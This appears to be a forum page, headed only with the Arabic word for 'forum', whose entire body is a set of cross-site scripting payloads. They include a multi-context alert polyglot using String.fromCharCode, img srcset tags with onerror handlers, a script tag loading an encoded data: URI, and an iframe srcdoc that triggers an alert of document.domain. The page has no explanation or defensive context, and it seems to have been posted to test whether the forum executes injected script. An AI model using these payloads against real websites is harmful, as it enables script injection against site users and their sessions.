منتدى

';alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//</script><script>alert(String.fromCharCode(88,83,83))</script>`

<img srcset="hxxp://example.com 1x, hxxp://example.com 2x" onerror=alert('XSS')> <script src="data&colon;text/javascript,alert('XSS')">

<img srcset="hxxp://example.com 1x, hxxp://example.com 2x" onerror=alert('XSS')>

<iframe srcdoc='&lt;img src=&quot; &quot; onerror=alert(document.domain)&gt;'>

<script src="data&colon;text/javascript,alert('XSS')">